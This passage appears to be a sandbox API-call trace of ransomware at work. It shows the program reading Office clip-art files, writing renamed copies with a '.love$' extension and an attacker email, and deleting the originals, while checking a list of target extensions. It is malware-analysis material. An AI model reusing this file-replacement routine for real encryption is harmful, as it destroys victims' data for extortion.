CloseHandle (hObject=0x4e8) returned 1 [0242.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0242.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.542] lstrlenW (lpString=".doc") returned 4 [0242.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.542] lstrlenW (lpString=".docx") returned 5 [0242.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.543] lstrlenW (lpString=".pdf") returned 4 [0242.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString=".xls") returned 4 [0242.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.543] lstrlenW (lpString=".xlsx") returned 5 [0242.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.543] lstrlenW (lpString=".ppt") returned 4 [0242.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.543] lstrlenW (lpString=".zip") returned 4 [0242.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.543] lstrlenW (lpString=".rar") returned 4 [0242.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString=".bz2") returned 4 [0242.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString=".7z") returned 3 [0242.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.543] lstrlenW (lpString=".dbf") returned 4 [0242.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.543] lstrlenW (lpString=".1cd") returned 4 [0242.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.543] lstrlenW (lpString=".jpg") returned 4 [0242.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.544] lstrlenW (lpString=".doc") returned 4 [0242.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString=".docx") returned 5 [0242.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.544] lstrlenW (lpString=".pdf") returned 4 [0242.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString=".xls") returned 4 [0242.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.544] lstrlenW (lpString=".xlsx") returned 5 [0242.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.544] lstrlenW (lpString=".ppt") returned 4 [0242.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.544] lstrlenW (lpString=".zip") returned 4 [0242.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.544] lstrlenW (lpString=".rar") returned 4 [0242.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString=".bz2") returned 4 [0242.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString=".7z") returned 3 [0242.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.544] lstrlenW (lpString=".dbf") returned 4 [0242.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.544] lstrlenW (lpString=".1cd") returned 4 [0242.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0242.544] lstrlenW (lpString=".jpg") returned 4 [0242.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.545] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.545] lstrlenW (lpString="DD01139_.WMF") returned 12 [0242.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.545] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3632) returned 1 [0242.546] CloseHandle (hObject=0x4e8) returned 1 [0242.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0242.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0242.546] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.546] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0242.547] GetLastError () returned 0x0 [0242.547] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xe30, lpOverlapped=0x0) returned 1 [0242.787] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe40, lpOverlapped=0x0) returned 1 [0242.788] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.788] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.788] SetEndOfFile (hFile=0x4e4) returned 1 [0243.166] CloseHandle (hObject=0x4e4) returned 1 [0243.179] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.179] SetEndOfFile (hFile=0x4e8) returned 1 [0243.209] CloseHandle (hObject=0x4e8) returned 1 [0243.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0243.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString=".doc") returned 4 [0243.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString=".docx") returned 5 [0243.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.211] lstrlenW (lpString=".pdf") returned 4 [0243.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString=".xls") returned 4 [0243.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.211] lstrlenW (lpString=".xlsx") returned 5 [0243.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.211] lstrlenW (lpString=".ppt") returned 4 [0243.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString=".zip") returned 4 [0243.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.211] lstrlenW (lpString=".rar") returned 4 [0243.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString=".bz2") returned 4 [0243.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString=".7z") returned 3 [0243.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString=".dbf") returned 4 [0243.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString=".1cd") returned 4 [0243.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString=".jpg") returned 4 [0243.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.212] lstrlenW (lpString=".doc") returned 4 [0243.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.212] lstrlenW (lpString=".docx") returned 5 [0243.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.212] lstrlenW (lpString=".pdf") returned 4 [0243.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.212] lstrlenW (lpString=".xls") returned 4 [0243.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.212] lstrlenW (lpString=".xlsx") returned 5 [0243.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.212] lstrlenW (lpString=".ppt") returned 4 [0243.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.212] lstrlenW (lpString=".zip") returned 4 [0243.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.212] lstrlenW (lpString=".rar") returned 4 [0243.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.212] lstrlenW (lpString=".bz2") returned 4 [0243.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.212] lstrlenW (lpString=".7z") returned 3 [0243.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.212] lstrlenW (lpString=".dbf") returned 4 [0243.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.212] lstrlenW (lpString=".1cd") returned 4 [0243.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0243.213] lstrlenW (lpString=".jpg") returned 4 [0243.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.213] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.213] lstrlenW (lpString="DD01163_.WMF") returned 12 [0243.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.214] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2300) returned 1 [0243.214] CloseHandle (hObject=0x4e8) returned 1 [0243.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0243.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.215] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.215] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0243.217] GetLastError () returned 0x0 [0243.218] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0243.219] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x900, lpOverlapped=0x0) returned 1 [0243.220] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.220] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.220] SetEndOfFile (hFile=0x4e4) returned 1 [0243.221] CloseHandle (hObject=0x4e4) returned 1 [0243.221] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.221] SetEndOfFile (hFile=0x4e8) returned 1 [0243.224] CloseHandle (hObject=0x4e8) returned 1 [0243.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0243.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.225] lstrlenW (lpString=".doc") returned 4 [0243.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.225] lstrlenW (lpString=".docx") returned 5 [0243.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.225] lstrlenW (lpString=".pdf") returned 4 [0243.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.225] lstrlenW (lpString=".xls") returned 4 [0243.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.225] lstrlenW (lpString=".xlsx") returned 5 [0243.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.225] lstrlenW (lpString=".ppt") returned 4 [0243.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.225] lstrlenW (lpString=".zip") returned 4 [0243.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.225] lstrlenW (lpString=".rar") returned 4 [0243.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.225] lstrlenW (lpString=".bz2") returned 4 [0243.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.225] lstrlenW (lpString=".7z") returned 3 [0243.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.226] lstrlenW (lpString=".dbf") returned 4 [0243.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.226] lstrlenW (lpString=".1cd") returned 4 [0243.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.226] lstrlenW (lpString=".jpg") returned 4 [0243.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.226] lstrlenW (lpString=".doc") returned 4 [0243.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString=".docx") returned 5 [0243.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.226] lstrlenW (lpString=".pdf") returned 4 [0243.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString=".xls") returned 4 [0243.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.226] lstrlenW (lpString=".xlsx") returned 5 [0243.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.226] lstrlenW (lpString=".ppt") returned 4 [0243.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.226] lstrlenW (lpString=".zip") returned 4 [0243.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.226] lstrlenW (lpString=".rar") returned 4 [0243.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString=".bz2") returned 4 [0243.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.226] lstrlenW (lpString=".7z") returned 3 [0243.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.227] lstrlenW (lpString=".dbf") returned 4 [0243.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.227] lstrlenW (lpString=".1cd") returned 4 [0243.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0243.227] lstrlenW (lpString=".jpg") returned 4 [0243.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.227] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.227] lstrlenW (lpString="DD01166_.WMF") returned 12 [0243.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.228] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2080) returned 1 [0243.228] CloseHandle (hObject=0x4e8) returned 1 [0243.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0243.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.229] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.229] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0243.230] GetLastError () returned 0x0 [0243.230] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x820, lpOverlapped=0x0) returned 1 [0243.231] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x830, lpOverlapped=0x0) returned 1 [0243.232] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.232] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.233] SetEndOfFile (hFile=0x4e4) returned 1 [0243.233] CloseHandle (hObject=0x4e4) returned 1 [0243.233] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.233] SetEndOfFile (hFile=0x4e8) returned 1 [0243.236] CloseHandle (hObject=0x4e8) returned 1 [0243.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 